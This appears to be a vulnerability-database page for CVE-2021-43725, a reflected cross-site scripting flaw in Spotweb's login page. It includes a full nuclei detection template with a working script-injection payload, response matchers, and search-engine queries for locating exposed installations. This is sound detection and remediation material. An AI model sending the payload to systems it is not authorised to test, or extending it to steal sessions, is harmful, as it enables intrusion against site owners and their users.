Browse / CVEs / CVE-2021-43725
CVE-2021-43725· spotweb project / spotweb· CWE-79
Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
mediumseverity
6.1CVSS score
2.6%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
Fix
Fixed in version 1.5.2
How to confirm it
Send: GET {{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login
Positive when: contains "value=\"\"><script>alert(document.domain)</script>" and "name=\"data[performredirect]" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-43725 -u <target>
The full check
id: CVE-2021-43725
info:
name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
author: theamanrawat
severity: medium
description: |
There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, data theft, or other attacks.
remediation: Fixed in version 1.5.2
reference:
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/718
- https://nvd.nist.gov/vuln/detail/CVE-2021-43725
- https://github.com/spotweb/spotweb/commit/2bfa001689aae96009688a193c64478647ba45a1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-43725
cwe-id: CWE-79
epss-score: 0.02573
epss-percentile: 0.85307
cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: spotweb_project
product: spotweb
shodan-query:
- title:"SpotWeb - overview"
- http.title:"spotweb - overview"
fofa-query: title="spotweb - overview"
google-query: intitle:"spotweb - overview"
tags: cve,cve2021,xss,spotweb,unauth,spotweb_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value=""><script>alert(document.domain)</script>'
- 'name="data[performredirect]'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/718
- https://nvd.nist.gov/vuln/detail/CVE-2021-43725
- https://github.com/spotweb/spotweb/commit/2bfa001689aae96009688a193c64478647ba45a1
Use this check only on systems you are authorised to test. Where the data comes from